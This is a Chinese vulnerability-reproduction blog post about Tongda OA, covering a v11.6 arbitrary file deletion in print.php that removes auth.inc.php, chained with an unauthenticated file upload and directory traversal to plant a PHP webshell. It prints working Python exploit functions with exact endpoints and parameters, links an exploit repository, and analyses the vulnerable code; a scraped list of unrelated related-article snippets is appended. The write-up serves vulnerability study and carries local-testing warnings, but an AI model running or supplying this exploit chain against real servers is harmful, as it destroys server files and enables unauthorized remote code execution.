0x00 简介

通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。数据存取集中控制,避免了数据泄漏的可能。提供数据备份工具,保护系统数据安全。多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。

今天看了好多通达OA的文章,根据护网中出现的一些0day,进行一波分析,其中感觉9hu大佬分析的很到位,然后来以此为基准,一起来看一下这个影响较深的漏洞。然后我自己感觉,出现的漏洞只是表面的一些,其中还有肯定是未公布的,包括我之前在别的版本审计到的一些漏洞,都是可以利用的,总感觉技术写的代码不是怎么完善,还需要继续完善,而且肯定以后还会继续爆洞,这是不可避免的。

0x01 漏洞描述

该漏洞是由于print.php存在任意文件删除漏洞,通过删除通达OA身份认证文件auth.inc.php达到绕过登录限制, 结合任意文件上传达到RCE的效果

0x02 影响版本

通达OA<v11.5&v11.6版本(任意文件删除仅影响11.6、未授权访问影响<11.5)

0x03 漏洞环境搭建

1、下载:

https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

2、在Windows下直接双击安装,OA管理员用户名:admin  密码为空

点击确定访问

OA管理员用户名:admin  密码为空
使用解密工具SeayDzend解密源码

通达OA11.6及解密工具:
链接: https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARg 密码: 77ch

0x04 漏洞复现

注意!该漏洞会删除服务器上的文件!谨慎复现!

工具下载地址:

https://github.com/admintony/TongdaRCE

使用脚本删除文件后再登陆会变成这样

所以一定要提示一下:切勿乱使用网络环境,请本地搭建复现!

安装tongda 11.4,利用oa未授权漏洞结合任意文件上传getshell

getshell利用链如下:

""" 11.6版本 getshell利用链 """
def getShellV11_6(target):print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url,verify=False)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url,verify=False).textif 'No input file specified.' not in page:print("[-]Failed to deleted auth.inc.php")exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('at.php', payload)}res=requests.post(url=url,files=files,verify=False)url=target+"/_at.php"page=requests.get(url=url,verify=False).textif 'No input file specified.' not in page:print("[+]Filed Uploaded Successfully")print("[+]URL:",url)else:print("[-]Failed to upload file")""" 低于11.5版本 getshell利用链 """
def getShellV11_x(target):cookie=getV11Session(target)if not cookie:print("[-] Failed to get Session")returnheaders={"Cookie":cookie+";_SERVER="}print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('at.php', payload)}res=requests.post(url=url,files=files,headers=headers,verify=False)url=target+"/_at.php"page=requests.get(url=url,verify=False).textif 'No input file specified.' not in page:print("[+]Filed Uploaded Successfully")print("[+]URL:",url)else:print("[-]Failed to upload file")

0x05 漏洞分析

从网上公布的EXP可以知道会删除掉auth.inc.php文件,该文件是通达用于做身份验证的,需要登录访问的文件都会将它包含进来.包括后面需要用到的upload.php也包含了此文件,但是是通过include包含进来的区别于require若包含文件不存在include是不会导致程序终止的。

接着定位到任意文件删除的漏洞点/module/appbuilder/assets/print.php。直直白白, 打头6行代码就实现了任意文件删除。

只要GET传值guid=../../../webroot/inc/auth.inc.php, 带入unlink就可以删除上面介绍的身份验证文件, 那么大多数需要身份验证的地方将失效。

再介绍upload.php利用之前, 先讲一下通达OA祖传变量覆盖。这里有个坑就是, 有的解密工具会漏掉一个$, 导致掉了一键盘的头发也不明白变量覆盖在哪里… 因为该文件是common.inc.php, 可想而知大部分文件都有包含,大部分地方可以拿变量覆盖来进行操作。

接着定位到上传点/general/data_center/utils/upload.php,  第9行变量覆盖action为upload盘进if,接着我们upload位置就是/data_center/attachment了。第84行变量覆盖s_n为我们的恶意文件, 90行upload位置拼接上s_n就是我们最终文件所在的位置。这里在87行变量覆盖repkid为../../../就能目录穿越将我们的马儿放在其他目录下, 至于为什么后面会说。

参考了前辈文章, 之所以要目录穿越到其他位置存放马, 是因为通达OA的nginx限制了attachment目录下文件访问的权限, 导致我们无法正常解析我们的马。~* 表示正则模式, 匹配到以attachment开头的任意php等敏感文件都不允许。

0x06 修复建议

升级到最新版本。

通达OA任意文件删除/未授权访问+任意文件上传漏洞复现相关推荐

  1. UEditor .Net版本任意文件上传漏洞复现总结

    UEditor .Net版本任意文件上传漏洞复现总结 - 知乎 (zhihu.com) 这个洞有一定年数了,是2018年发现的(从下图的shodan中可以得知,该漏洞已经被大部分黑客SEO利用),最近 ...

  2. php kindeditor 文件不存在_不能取得文件类型!,kindeditor=4.1.5文件上传漏洞复现

    原标题:kindeditor<=4.1.5文件上传漏洞复现 0x00:背景 KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE.Fire ...

  3. Apache Fink 文件上传漏洞复现及利用

    Apache Fink 文件上传漏洞复现 打开vulhub靶场,输入命令 cd flink/CVE-2020-17519 sudo docker-compose up -d sudo docker-c ...

  4. 通达+oa+php+文件+乱,通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现...

    0x00 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  5. CDH 端口未授权访问:hdfs-50070, yarn-8088, jetty漏洞修复

    文章目录 0,Cloudera 管理页面相关debug端口 1,Hadoop端口未授权访问 访问hadoop web页面 2,检测Jetty版本漏洞 临时修复办法:直接修改jetty版本号 0,Clo ...

  6. 畅捷通T+ v17任意文件上传漏洞复现

    1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...

  7. 海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)

    0x01 产品简介 海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控.联网报警.智能分析.运维管理等多种安全防范应用系统,构建的多业务应用综合管 ...

  8. 用友GRP-U8 U8AppProxy任意文件上传漏洞复现+利用

    1.漏洞概述 用友GRP-U8R10行政事业财务管理软件是用友公司专注于电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域专业的财务管理软件.用友 GRP-U8 U8AppProx ...

  9. 【漏洞复现】海康威视iVMS综合安防系统任意文件上传漏洞复现 (在野0day)

    文章目录 前言 声明 一.产品简介 二.漏洞概述 三.影响范围 四.漏洞验证 五.漏洞利用 六.修复建议 前言 海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实 ...

  10. kindeditor=4.1.5文件上传漏洞复现

    0x00:背景 KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE.Firefox.Chrome.Safari.Opera等主流浏览器. 0x ...

最新文章

  1. 有java基础的人学python_准备自学Python ,会java,有什么建议吗?
  2. Memcached安装和基本使用
  3. python开发的前景_python开发前景怎么样
  4. jupyter notebook即原来的Ipython notebook的使用方法
  5. 我很喜欢玩游戏,那么我就适合做游戏程序员吗?
  6. 更改微信小程序的基础版本库;更改uni-app小程序基础库;更改用户的微信小程序基础库最低版本;设置用户的微信小程序版本库;
  7. PAT 1012 数字分类 (20 分)(C语言)
  8. 研究员拒绝提前通知,Zoho 匆忙修复一个严重的 0day
  9. quatus_sh tcl获取帮助
  10. 树链剖分【p3038】[USACO11DEC]牧草种植Grass Planting
  11. ApacheBench~网站性能测试工具
  12. python中字典的用法_Python中字典的详细用法
  13. AutoCAD2022 安装说明
  14. 阿里云体验有礼:使用RDS和ECS搭建个人博客
  15. PHP 判断日期格式
  16. 释放IP地址,然后重新获取的两个命令
  17. FTP 在局域网搭建ftp服务器-共享文件资料
  18. TensorFlow简单实例(二):logistic regression
  19. excel中插入word对象且以wold图标来显示
  20. join语句的执行顺序

热门文章

  1. GIBIT墨水屏电子桌牌助力某银行无纸化办公会议系统
  2. 洛谷试炼场 普及组 动态规划的背包问题
  3. 前端PDF文件转图片方法
  4. ACL-IJCAI-SIGIR顶级会议论文报告会(AIS 2022)笔记1:推荐系统
  5. PowerDesigner画UML图
  6. 谷歌浏览器添加插件——json
  7. OpenCV:帧差法
  8. 通信系列2: 深入浅出SIP协议
  9. 吴恩达机器学习正则化线性回归和偏差算法的MATLAB实现(对应ex5练习)
  10. Java实现对称密钥算法